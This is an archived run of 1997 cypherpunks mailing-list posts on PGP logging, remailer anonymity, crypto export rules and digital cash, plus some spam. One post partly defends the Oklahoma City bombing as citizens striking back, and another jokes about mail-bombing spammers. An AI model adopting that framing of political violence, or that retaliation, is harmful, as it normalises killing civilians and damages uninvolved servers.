(408)356-8506     | in six days because he did | 16345 Englewood Ave.
frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA







From geeman at best.com  Fri May 16 01:29:48 1997
From: geeman at best.com (geeman)
Date: Fri, 16 May 1997 16:29:48 +0800
Subject: PGPMail keets tabs on you!
Message-ID: <337C13AC.6F5C@best.com>


... This is from the log file that pgp keeps on my machine,
\WINDOWS\PGPWS_32.LOG.

There appears to be a lot of interesting information here:
 -- I did not encrypt with IDEA only
 -- the recipients of the message I sent are shown along with the public
key IDs
 -- The SIZE of the message!

I have obfuscated some of the details from the actual log.  The "?"s
indicate removed details.

=========== LOG: ============

Passphrase from caller = FALSE |
if (SignIt && IDEAOnly && IDEAPassphrase && IDEAPassphrase[0] != '\0') |
IDEA Passphrase from caller = FALSE |
if (PublicKeyRingName && PublicKeyRingName[0] != '\0') |
PublicKeyRingName string pointer is NULL or
PublicKeyRingName is an empty string.
Using default public keyring name. |
if (PrivateKeyRingName && PrivateKeyRingName[0] != '\0') |
PrivateKeyRingName string pointer is NULL or
PrivateKeyRingName is an empty string.
Using default private keyring name. |
Recipient List: |
Key ID: 0x???????? |
PGP Options String
eat |
Encrypt Buffer
Message |
PGP Options Parm: eat |
MyNameParm:  |
Keyring Name Parm:  |
File name for encrypt, sign, and/or armor:
InputBufferLength = ?????? |
Found without enough validating sigs:1 |
Key for user ID:Remail  |
  Additional ID:Remailer  |
bit size:1024 Key ID:????????created:12/13/1992 |
Warning:  Because this public key is not certified with a trusted
signature, it is not known with high confidence that this public key
actually belongs to:Remail 
Are you sure you want to use this public key? |
User Replied: Yes |
Open Data Out;
Output Buffer |
OutputBufferLength = ?????? |
OutputDataLength = ?????? |
Transport armor file:  |
Kernel return value is: 0 |






From tm at dev.null  Fri May 16 01:58:02 1997
From: tm at dev.null (TruthMonger)
Date: Fri, 16 May 1997 16:58:02 +0800
Subject: I Treat All My Enemies Equally
Message-ID: <199705160833.CAA27181@wombat.sk.sympatico.ca>


Blanc, taking on the million monkeys repeatedly typing,
"Is too!"--"Is Not!", wrote:
 
>  I was thinking about those who have expressed a lack of concern for
> the unfortunate mixture of the guilty & innocent in a close encounter with
> a destructive device.   I was thinking that people who  aren't careful
> about such differences make of themselves an enemy to all, because who can
> tell what they're supporting and whose lives they really value, since
> anyone at all could become their victim.

  What I see being expressed is not so much a lack of concern for
those caught up unwittingly in the war between the government and
its citizens as it is a debate over the comparative level of guilt
or responsibility that the warring factions should bear for the
end results of their actions.
  There has also been some debate as to the right of an individual
to make decisions which will affect the lives of those who will be
involved only by happenstance.

  Blanc brings up an excellent point; namely, that those who choose
to take drastic action risk striking out randomly and maliciously at
everybody if they do not consider the nature of their target and
the amount of risk to peripheral participants in the event.
  From all accounts, McVeigh's actions were purposeful and directed
at a target which he deemed suited to his purpose. Whether one
agrees or disagrees with the perceived "innocent" body count will
probably play a large amount in their support or non-support of
his actions.

>  The fact of the matter is that those in the
> middle must find a way to protect themselves from whatever weapon or
> vehicle of destruction comes around, whatever its source.

  This is the way it is in all conflicts. Part of the current reason
for the widespread disillusionment with government and the resulting
animosity towards our rulers is the fact that those in the middle of
the government's war on freedom and privacy don't see themselves as
being involved in a war until it affects them personally.
  When those in the middle have their lives affected by those who
take countermeasures against the government, then their view of his
actions will be affected by whether or not they have had their car
confiscated for possession of a single joint, or whether or not they
are facing imprisonment for plugging a parking meter.
  Some of those who lost loved ones in the OKC bombing are involved
in fighting the government to have a *real* investigation into what
happened. No doubt some of them will come out of the whole process
with much more disgust for the government than for McVeigh.

> So, for instance, if Whitfield Diffie and PhilZ were walking into a Federal
> building in OK City, and I saw some cypherpunk not too far away getting
> ready to blow it up, well, I guess I'd have to kill him.   (Dirty Harry
> saying:  "feel lucky today, cpunk?").

  It's good to see that you've given this some thought. It is important
to personalize one's thoughts and actions in order to keep from getting
caught up in the mass-hysteria that surrounds such issues.
  History has recorded many instances of people who had to decide if
they
could attack a building that contained friends, compatriots, or loved
ones in furtherance of their purpose. (Or make the decision to place
themself inside an area targeted by their own cause.)
  While I would defend McVeigh from those who dismiss his actions out of
hand, with no thought of the culpability of the government and the
average citizen, I downloaded pictures of some of the children who were
maimed by the OKC bombing and I use them to avoid forgetting that there
is personal tragedy involved in such an action.

  The fact remains that the more the government violates the freedom
and privacy of their citizens, then the more the citizens will strike
back in their own chosen way.
  The final tragedy of the OKC bombing is the lack of reckoning demanded
by the citizens of their government for the growing disdain of the
rights
of the citizens that has led to so many feeling disenfranchised by their
rulers.
  Nobody is voting for disenfranchisement; nobody is voting to have
their
privacy invaded and their freedom violated; nobody is voting to have the
government take their money and enrich those in power. Yet still, the
onslaught of government control and intrusion into every area of our
lives continues.

  Blanc makes some excellent points about the average citizen being
caught in a ping-pong crossfire in the conflict between government
and anti-government forces. However, as I said, this is in the nature
of conflict and the citizen's best option may be to make a daily 
effort to resist the government oppression, no matter how small it
may seem in any instance.
  To borrow an analogy from another thread, if the government spams
enough cypherpunks with a few Kilobytes here and there, they will
eventually raise the ire of a Rick Osborne enough that he will
send them back a few Gigabytes in return. And if Ross Wright's
computer gets caught in the crossfire...

TruthMonger






From nobody at faust.guardian.co.uk  Fri May 16 17:13:48 1997
From: nobody at faust.guardian.co.uk (Shift Control)
Date: Fri, 16 May 1997 17:13:48 -0700 (PDT)
Subject: Embrace the Dark Side
Message-ID: <199705161100.MAA01249@faust.guardian.co.uk>



Z is for Zoomorphic
Y is for Young Frankenstein
X is for X-mal Deutschland
W is for Witch
V is for Vampire
U is for Undead
T is for Terror
S is for Sex Gang Children
R is for Rat
Q is for Quinine
P is for Poe
O is for Obsession
N is for Nosferatu
M is for Murnau
L is for Lycanthropy
K is for Karloff
J is for Jack the Ripper
I is for Incubus
H is for Hammer
G is for Gargoyle
F is for Frankenstein
E is for Evil
D is for Dracula
C is for The Cramps
B is for Baudelaire
A is for Absinthe

Shift Control is for all things Gothic
Shift Control awaits you at
www.shiftcontrol.com

Be swift, dear friend, for tomorrow may be too late

Shift Control is produced by the Guardian's New Media Lab with help from Boddingtons and Stella Artois Dry

To unsubscribe from this mailing list send e-mail to
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with the following text in the body of the mail message:
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From osborne at gateway.grumman.com  Fri May 16 02:35:55 1997
From: osborne at gateway.grumman.com (Rick Osborne)
Date: Fri, 16 May 1997 17:35:55 +0800
Subject: I Treat All My Enemies Equally
In-Reply-To: <199705160833.CAA27181@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970516050700.00a6a100@gateway.grumman.com>


Someone anonymous, claiming to be TruthMonger, wrote:

>To borrow an analogy from another thread, if the government spams
>enough cypherpunks with a few Kilobytes here and there, they will
>eventually raise the ire of a Rick Osborne enough that he will
>send them back a few Gigabytes in return. And if Ross Wright's
>computer gets caught in the crossfire...

Now, if you had used anyone but Ross in that example, I might have agreed
with your point.  ;)  [[[ Seriously though, before it begins to seem as
thought I have a personal vendetta against Mr Wright, I shall put it to
rest with an emphatic *I do not*.  I like to think I'm mature enough to
separate my opionion of a person from my opinion of their opinions. ]]]

TruthMonger does bring up a good point, though, again proving that I am
indeed a self-centered asshole.  In all of the glorious "Go Internet! Down
with the evil spam!" hype lately, I'd forgotten that point A to point B
isn't a straight line.  To send a GB or so across to, for example, Sanford,
it might indeed traipse across Ross' server, for which I'm sure Ross would
curse my name thoroughly.  Hmm... this means I need to figure something
else out ... I really should go and cancel that pamphlet drop ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"And my middle name used to be helping people, The 'helping people'
Tick."






From nobody at huge.cajones.com  Fri May 16 02:38:16 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Fri, 16 May 1997 17:38:16 +0800
Subject: TEXTO - Text steganography
Message-ID: <199705160908.CAA03291@fat.doobie.com>


------------------------------------
   TEXTO - Text steganography
------------------------------------

   Texto is a rudimentary text steganography program which transforms
uuencoded or pgp ascii-armoured ascii data into English sentences.

   Texto text files look like something between mad libs and bad poetry,
(although they do sometimes contain deep cosmic truths) and should be
close
enough to normal english to get past simple-minded mail scanners and to
entertain readers of talk.bizarre.
-------------

  Perhaphs this explains why, when I tried it, it signed Paul Bradley's
name to the output.

_Mr._ Nobody to _you_, pal.






From lucifer at dhp.com  Fri May 16 02:41:21 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Fri, 16 May 1997 17:41:21 +0800
Subject: Essential Legislation Passes!!!
Message-ID: <199705160915.FAA02530@dhp.com>


Subject: Sampler: May 16
  Date: Fri, 16 May 97 00:30:02 PDT
  From: sampler-request at lmboyd.com

 Do your dentures, if any, have your social security
number marked on them? Three states, at last report,
required that by law. Montana, Illinois and Minnesota.

ToothMonger






From 3umoelle at informatik.uni-hamburg.de  Fri May 16 03:46:52 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 16 May 1997 18:46:52 +0800
Subject: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <9705161034.AA54548@public.uni-hamburg.de>


> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct?

Correct.

> Even if I insert my own remailer in the list it doesn't help, if the
> others are all in cahoots.  This seems pretty obvious.  They all
> compare logs, and saved copies of the messages, and my message can
> be tracked from beginning to end.  Right?

Wrong. One trusted mix is enough to guarantee anonymity: There is a
large number of fixed-size messages coming in and a large number of
messages going out in random order.  (Consult the archives for
information about possible attacks, such as flooding a remailer with
dummy messages, and how to detect/prevent them.)

> I see a list of remailers posted on cypherpunks periodically -- a
> "cypherpunks" approved list, therefore.  Lucky Green admits publically
> that he personally knows several of the remailer operators.

So you say Raph actually *is* part of the cypherpunk conspirary??!

BTW, that list is the "list of reliable remailers", not the "list of
cypherpunk approved remailers".  Now guess how a remailer qualifies to
be listed.

> And clearly, remailer operators must share a common ideological
> focus...

Remailer operators share the belief that it must be possible to use
the net anonymously, without leaving traces.  Is that what you mean?

PS: Did you know that one remailer operator formerly was a soldier in
East Germany's National People's Army?

-- 
|\/| L~ |\ | | <~  /\
|  | L_ |/ \_/ _> /~~\






From satellittvad at norway.it.earthlink.net  Fri May 16 20:46:25 1997
From: satellittvad at norway.it.earthlink.net (satellittvad at norway.it.earthlink.net)
Date: Fri, 16 May 1997 20:46:25 -0700 (PDT)
Subject: *Satellite TV*
Message-ID: <199705170342.UAA01193@norway.it.earthlink.net>


HOW WOULD YOU LIKE TO GET PAID AS MILLIONS OF 
AMERICANS TURN ON THEIR TELEVISION SETS EACH DAY?

The shift is on from cable to digital technology through satellite
and there is a short window of timing when the deck is being re-
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How can you profit from this digital technology?

A new strategic alliance has just been formed between two tele-
vision giants to capture the lion' share of TV's installed base.  One
is TPN (The People's Network), the world's leader in personal and 
professional achievement programming.  Experts predict that by
year 2000 the number one industry in the world will be the retraining
of adults. TPN is the only company bringing this life enhancing infor-
mation into homes, thus creating a multi-billion dollar industry cued
for an explosion.

 The second giant is Primestar, the proven leader in digital technology
through satellite, and is owned by the five largest cable companies
in the country. Primestar has already cornered 42% of the digital satel-
lite market share.  Digital satellites are the fastest growing consumer
product ever produced.  Primestar chose this strategic alliance with
TPN because of TPN's proven success in penetrating every neighbor-
hood in America with satellite installations and now, together, they can
go to the market while the competition waits for the market to come to
them. A 150 million dollar campaign has just been launched by Prime-
star to make it a household word.

This is where you come in.  TPN offers you a once in a lifetime oppor-
tunity to own a piece of the ongoing profit of one of the most powerful
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TPN & Primestar and an affiliate subscribes to this service you will be 
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From whgiii at amaranth.com  Fri May 16 06:08:04 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 16 May 1997 21:08:04 +0800
Subject: PGPMail keets tabs on you!
In-Reply-To: <337C13AC.6F5C@best.com>
Message-ID: <199705161254.HAA18130@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <337C13AC.6F5C at best.com>, on 05/16/97 at 01:58 AM,
   geeman  said:


>... This is from the log file that pgp keeps on my machine,
>\WINDOWS\PGPWS_32.LOG.

>There appears to be a lot of interesting information here:
> -- I did not encrypt with IDEA only
> -- the recipients of the message I sent are shown along with the public
>key IDs
> -- The SIZE of the message!

>I have obfuscated some of the details from the actual log.  The "?"s
>indicate removed details.

I looked over the log details the you provided and this is rather odd.


I am currently working on some logging features for my next release of
E-Secure. The purpose of this is to aid the user with keyring management. I
plan on keeping the log files encrypted and having this a user selectable
option (the user can turn logging off if he wishes). The contents of the
PGPWS_32.LOG seems to go beyond what would be need for this purpose though.

I'll have to boot into NT (yech) and take a look at what it is doing.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The Gates of hell.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3xnzo9Co1n+aLhhAQEL+QQAsO3V9OU0lyM8QXtf7QA8ivzBXV8pFOjM
6mMlDgximk3m7uwCFEReD23AXBAGsqdzYg0XwYvOIy9DWo1l6TuhtpGeWI1up3Jr
uBdB6V7jYu7sBdiRlnhori2hOEA9MZB4JM042aJIyl/x8VtGE3zlGzrNhpcidQBe
defxvL95lRg=
=Y/MQ
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Fri May 16 06:26:23 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 16 May 1997 21:26:23 +0800
Subject: Anonymous Remailers
In-Reply-To: <199705160648.CAA28895@dhp.com>
Message-ID: 


lucifer at dhp.com (lucifer Anonymous Remailer) writes:

> Kent Crispin wrote:
>
> > Lucky, since I am considered contemptible by several c'punks, I worry
> > about them more than I would about foreign intelligence agents.
>
>   Not contemptible, just an easy target to be used for sighting
> one's scope in preparation for attending to more sophisticated
> targets.
>   I find many of your canned-brain arguments hilarious but they
> do seem useful for fodder for aspiring anarchists to use as a
> foil for their development.

Why care?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Fri May 16 06:42:04 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 16 May 1997 21:42:04 +0800
Subject: MSNBC poll on crypto
In-Reply-To: 
Message-ID: <199705161321.IAA18479@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In , on 05/15/97 at 10:32 PM,
   Tim May  said:


>At 5:55 PM -0800 5/15/97, Declan McCullagh wrote:
>>Should the United States
>>       remove restrictions on
>>       the export of powerful
>>       encryption technology?
>>
>>       * 283 responses
>>
>>       Unequivocally yes (84.1%)

>You left out the very next question:

>Should the United States allow unbreakable, military-grade cryptography to
>be used undetectably by child pornographers, terrorists, and money
>launderers?

>         * 283 responses

>         Unequivocally "No" (93.4%)


>You see, it all depends on how the question is asked. I have long argued
>that Americans are split, simultaneously, between two opposing world
>views:

>"What have you got to hide?"

>and

>"None of your damned business."

>Depending on the issue, or how the issue is phrased, either view may
>surface.

>I certainly don't trust opinion polls. If MSNBC conducts a similar poll
>after an Oklahoma City type of event, which we all have reason to suspect
>is about to happen in the next six or seven months, and crypto is found to
>be involved (seems likely), we can expect an opinion poll which arrives at
>the "What have they got to hide" conclusion.

>So?

>--Tim May


Well this is exactly why the Founding Fathers set up the form of government
that they did rather than going with a "pure" democracy. The intent was to
insolate the governing process from the lynch mob mentality. This is
doublely so with the Bill of Rights and the Amendment process. They are
there to provide a break on the "mob" and give time to reflect on the long
term consequences of perprosed actions.

Unfortunatly all 3 branches of government have desided that they nolonger
need to abide by the laws spelled out in the Constitution solong as it
politically expediant.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Walk through doors, don't crawl through Windows.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3xuMI9Co1n+aLhhAQGJXQP/XkR6VoCtsFnduuXBfqktMM9a6iZG0AhU
pdEaqt4k/k+wNjogT6P1pkV1+Tb0V2TH7No94QjnWPTZmrqfwM6UmN6aqzaQeoIj
nQh/yaNFcLsB7GNX6Gcye94grHKBIziA2/9HzIIFiIisFt8ffyiwUGcnmsoEpWyS
5vnM6u5EhU8=
=EWl0
-----END PGP SIGNATURE-----






From aba at dcs.ex.ac.uk  Fri May 16 07:36:24 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 16 May 1997 22:36:24 +0800
Subject: eternity-lite & cancel msgs
Message-ID: <199705160845.JAA00241@server.test.net>



One issue with the system is that censors will issue cancel messages
for the articles.  Not too much which can be done about this.  Some
trends tend to help this problem:

Cancel message abuse by people running cancel bots reflecting their
censorous views have resulted in some sites ignoring cancel messages.
PGPmoose provides a better method of allowing only the author to
cancel.  Or NoCEM provides a ratings system framework, which is
superior to using cancels.

Another aspect of the system is that it relies on news archival
services such as dejanews and altavista; these presumably don't listen
to cancel messages for already archived data (? guessing here).  The
archive maintainers presumably don't want to get involved in disputes
over which old articles should be purged from their archive anyway.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: 


At 10:12 PM -0700 5/15/97, Lucky Green wrote:
>At 05:30 PM 5/15/97 -0700, Steve Schear wrote:
>>Smaller operators
>>could deposit the funds in their demand deposit accounts or sell to
>>Aggregators who would offer to take any CTR related heat.
>
>I believe the term is "smurfing".

I believe the proper term is jobber.  Don't help the gubbermint assign new
'biased' terms (mediaspeak) to those which are well established.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
Key available on BAL server, http://www-swiss.ai.mit.edu/~bal/pks-toplev.html
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
         but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From aba at dcs.ex.ac.uk  Fri May 16 07:47:17 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Fri, 16 May 1997 22:47:17 +0800
Subject: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <199705160927.KAA01424@server.test.net>



Kent Crispin  writes:
> [about remailers]
> Hmm.  I did read, and I thought I understood this.  I claim that if
> the remailers collude, then there in no anonymity.  Correct? Even if I
> insert my own remailer in the list it doesn't help, if the others are
> all in cahoots.  This seems pretty obvious.  They all compare logs, 
> and saved copies of the messages, and my message can be tracked from 
> beginning to end.  Right?

Not entirely.

If other people use your remailer also, and you have latency, they'll
see n messages going into your remailer, and n come out.  There will
be log2(n) entropy added, they won't know which of those are from you
and which from the other users.

Flooding attacks might make the situation worse, say you wonder if all
of the messages apart from your own are from the attackers, and that
the purpose of these messages is to flush your message out of the
mixing pool.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705161509.LAA07342@upaya.multiverse.com>


Adam Back writes:

: 
: Dr Roberts writes:
: > Perhaps there is a way to turn the training on the trainers?  Civil
: > disobediance is the best way to do this.  Were a relatively small
: > number of people, a thousand for instance, to post the "RSA in 3
: > lines" code to the world, it would be highly unlikely that anybody at
: > all would be prosecuted, 
: 
: Many 1000s of people have exported it.  See also Vince Cate's arms
: trafficker page.
: 
: 	http://online.offshore.com.ai/arms-trafficker/
: 
: Around 3000 T-shirts were sold also.  Guess there are a fair number of
: people practicing civil disobedience in the US as a result.  They're
: still selling, see:
: 
: 	http://www.dcs.ex.ac.uk/~aba/uk-shirt.html
: 
: for order info.
: 
: While it's probably technically illegal to export, it clearly doesn't
: get you in trouble to export it.  Raph Levien sent off a Commodity
: Jurisdiction Request together with a sample T-shirt to ask permission
: to export the T-shirt under the ITAR regulations.  They did not answer
: his request.  I presume that they viewed either a "yes" or a "no" as a
: loose for them.  If they say no, they open themselves for mockery in
: the press, if they say yes, we progress the situation.  Export on
: paper?  Floppy?  Internet?  Bigger programs.

Under the new Commerce Department export regulations it appears that
encryption software printed as hard copy---and I think that T-shirts
are hard enough for this purpose---can be freely exported.  But
the same material in electronic form may not be exported or placed on
a web site without a license.  So the T-shirts are now OK, but under
the EAR it is still an offense to send the code in a sigfile to an
international e-mail list.

It is possible that the application for permission to export the
T-shirt may have influenced this result.

(What is Raph Levien's e-mail address?  I would like to ask him the
details about his application for a Commodity Jurisdictionb Request.
It should be an amusing footnote in my casebook for my course in
computers and the law.)

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From Theodor.SCHLICKMANN at bxl.dg13.cec.be  Fri May 16 08:48:09 1997
From: Theodor.SCHLICKMANN at bxl.dg13.cec.be (Theodor.SCHLICKMANN at bxl.dg13.cec.be)
Date: Fri, 16 May 1997 23:48:09 +0800
Subject: New Encryption Code
Message-ID: 



Reuters News published on Thu May 8 the following:
(extracts only)

>IBM Researchers devise new encryption code

snip

>Encryption products, which scramble information and render
>it unreadable without a password or software "key", have
>become an increasingly important component of global
>communications and online commerce over the Internet.

>"This is a pioneering accomplishment in the field of
>cryptography and a big step toward the ultimate in
>cryptography --  a truly invincible mathematically
>proven method for protecting private computer
>information from unwanted viewing," said Ashok
>Chandra, a manager of computer science at IBM's
>Almaden Research Center in San Jose, Calif.

>The system was invented by computer scientists Miklos
>Ajtai and Cynthia Dwork of IBM's Almaden lab.

snip

The complete message disappeard the other day and my
follow up investigations failed.

Does somebody have more information than what was
given in the message by Reuters.


Theodor Schlickmann 






From stewarts at ix.netcom.com  Fri May 16 08:58:40 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Fri, 16 May 1997 23:58:40 +0800
Subject: microstock market
In-Reply-To: <199705150015.RAA27036@netcom22.netcom.com>
Message-ID: <3.0.1.32.19970515213401.002ec988@popd.ix.netcom.com>


At 05:15 PM 5/14/97 -0700, Vladimir Z. Nuri wrote:
>ultimately what cyberspace does in many ways is decrease
>the "granularity" of economic transactions.
...
>increasingly, I think you will see very small companies have
>stocks. you will also see a much better means by which an
>investor can judge the value of a company. the assets will
...
>what would be neat is if one could invest in very small
>companies or ideas. 

Really interesting post!  I think the net will simplify the
ownership issues and the publicity issues long before it
makes good information about the value of small companies
easy to get.  That's far more dependent on the personalities
of the players in a company (hard to judge, except in person),
the ideas the company's trying to develop into products/services
(may need non-disclosure arrangements, may need privacy to 
develop in, may not want to waste their time publicizing each
step in their decision processes, contract negotiations are
usually very private, etc.)  

On the other hand, the net can often help those parts of a business.
The Cygnus Support folks have done well in a very open environment.
I recently talked with a headhunter who'd seen my discussion with 
someone on Usenet and wanted an opinion about the guy;
the headhunter was doing a lot of in-depth web searching to find 
people who might be interested or qualified for a position he was
trying to fill.  It's amazing what AltaVista knows about you,
especially with DejaNews around...

Venture capital firms provide some value to their investors
by managing the granularity of the transactions, but they also
add value by providing personal understanding of the companies 
they're evaluating whether to invest in.  Information wants to be free,
or is at least cheap to copy, but providing the personal attention
needed to understand and analyze information and make good decisions on it
is still expensive.  The nets can improve the
information they have available on both the company and the market,
and can provide better information to investors about what 
venture capital analysts are good at evaluating what kinds of businesses.
Will the nets split these businesses up into individual
venture-advice-consultants competing for investors?  Or will the 
lead to broader coordination between venture capital businesses?  
Or both?

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Fri May 16 09:07:09 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 17 May 1997 00:07:09 +0800
Subject: Anonymous Remailers
In-Reply-To: <01BC603F.4B529240@pc1901.ibpinc.com>
Message-ID: <3.0.1.32.19970515220724.005f3528@popd.ix.netcom.com>


>>>> foreign intelligence agents
>>> myths.  disinformation.

It may be myth now, but we can work to change that!  (:-)

There may not be agents of Non-US Governments running remailers
that we know about yet, but there are intelligent Non-US individuals
running them, and Anarchists in North America, and 
Anarchists outside North America running remailers,
which if you're in the US Government is at least semi-threatening...
And the US Naval Research Labs folks are building Onion Routers,
which are relatively similar to remailers, and they're
Foreign Government Agents from the perspective of non-US cypherpunks.

A more common approach for government agents has been to post
news and send mail from various Internet addresses of convenience;
some of it has certainly been propaganda, and some has been
deliberate false information, as well as some being just
strongly-held beliefs of people I happen to disagree with.

If your remailer system is well-designed, running your mail through
the occasional KGB and CIA remailer is just fine, as long as you
also run it through systems you hope you can trust.  Even at that,
you may trust Alice B. Cypherpunk to run an honest remailer,
knowing that she's got a strong ethical policy against logging,
and not know that the NSA broke into her machine last year
and is been running a wiretap that's "perfectly US-legal" because
she's based in Amsterdam.

>Lucky, since I am considered contemptible by several c'punks, I worry
>about them more than I would about foreign intelligence agents. 
>I have actually considered sending some things through the remailers,
>but I don't trust them -- I don't find cypherpunks any less
>susceptible to ideology than foreign agents... 

Are you aware of any cypherpunks remailers publicizing their log files,
at least beyond their published policies (e.g. the "You SPAM, You Die"
policy that some remailers announce.)  The main events of this type
I know of are Julf Helsingius and maybe one of the Dutch remailers
giving the name of anti-Scientologist to the police when ordered 
by a court, and Julf closed anon.penet.fi after that.
There have been some remailer operators who will help track down hate mail
in response to complaints, and some who will help track down 
high-volume spammers, and they generally make their policies known;
others only do blocking.

Back when I was running a remailer, what I saw from the bouncemail
and the complaints was a certain fraction of attack-mail,
which I dealt with by blocking recipients, a fair bit of spam
such as phone-sex ads to usenet (ignored), a lot of test messages
(sometimes ignored, sometimes diagnosed), and a lot of help requests
with incorrect headers (which I generally tried to reply to,
especially after I'd killed the remailer.)  The only times I 
checked non-bounced mail (other than testing my remailer code)
was to clean out high-volume spam (my remailer was set to shut down
at certain volume levels) and to remove queued mail for people who
complained, (and of course if the spammers had the sense
to encrypt their spam, that wouldn't have shown much either.)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From kent at songbird.com  Fri May 16 09:07:17 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 17 May 1997 00:07:17 +0800
Subject: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516084846.60052@bywater.songbird.com>


On Fri, May 16, 1997 at 12:34:33PM +0200, Ulf M�ller wrote:
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct?
> 
> Correct.
> 
> > Even if I insert my own remailer in the list it doesn't help, if the
> > others are all in cahoots.  This seems pretty obvious.  They all
> > compare logs, and saved copies of the messages, and my message can
> > be tracked from beginning to end.  Right?
> 
> Wrong. One trusted mix is enough to guarantee anonymity: There is a
> large number of fixed-size messages coming in and a large number of
> messages going out in random order.  (Consult the archives for
> information about possible attacks, such as flooding a remailer with
> dummy messages, and how to detect/prevent them.)

"Guarantee" is a strong word, wouldn't you say? Simple case: you have
two messages; one you know I wrote, the other I didn't, you don't know
which.  You could say that is "anonymity".  That's a reasonable use 
of the term.  But it wouldn't make me feel secure.  So that boils 
down to what is a "large" number.  (I confess I *haven't* read the 
archives about flooding attacks.  However, I don't see how they could 
be guarded against if *all* the other remailers are in collusion.  
But perhaps that case has been considered...)

> > I see a list of remailers posted on cypherpunks periodically -- a
> > "cypherpunks" approved list, therefore.  Lucky Green admits publically
> > that he personally knows several of the remailer operators.
> 
> So you say Raph actually *is* part of the cypherpunk conspirary??!

Of course.  I don't know Raph from Adam -- *I* just see a list posted
on cypherpunks.  For that matter, of course, you could be Tim May, as
are all the "(T)ruth (M)ongers", and many other of the "personalities"
on this list... 

> BTW, that list is the "list of reliable remailers", not the "list of
> cypherpunk approved remailers".  Now guess how a remailer qualifies to
> be listed.

J E Hoover certified them?  If I persist in my conspiracy theory, 
then it makes absolutely no difference how they qualify -- the list 
is just text produced by the cp conspiracy, after all, creatively 
edited to make it look legit.

But seriously, I thought it was buy sending "ping" messages through 
them -- is there something more to it?

> > And clearly, remailer operators must share a common ideological
> > focus...
> 
> Remailer operators share the belief that it must be possible to use
> the net anonymously, without leaving traces.  Is that what you mean?
> 
> PS: Did you know that one remailer operator formerly was a soldier in
> East Germany's National People's Army?

How do you know that?  And why should I believe you?

Anyway, Ulf, as I said in my previous message, this was all started by
me poking fun of my "contemptible" status among the cyphperpunks. 
That status is partially fueled by the fact that I work for that evil
conspiracy, the "government".  (In all honesty, I must confess that it
may also be partially fueled by various failings of my own.)

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
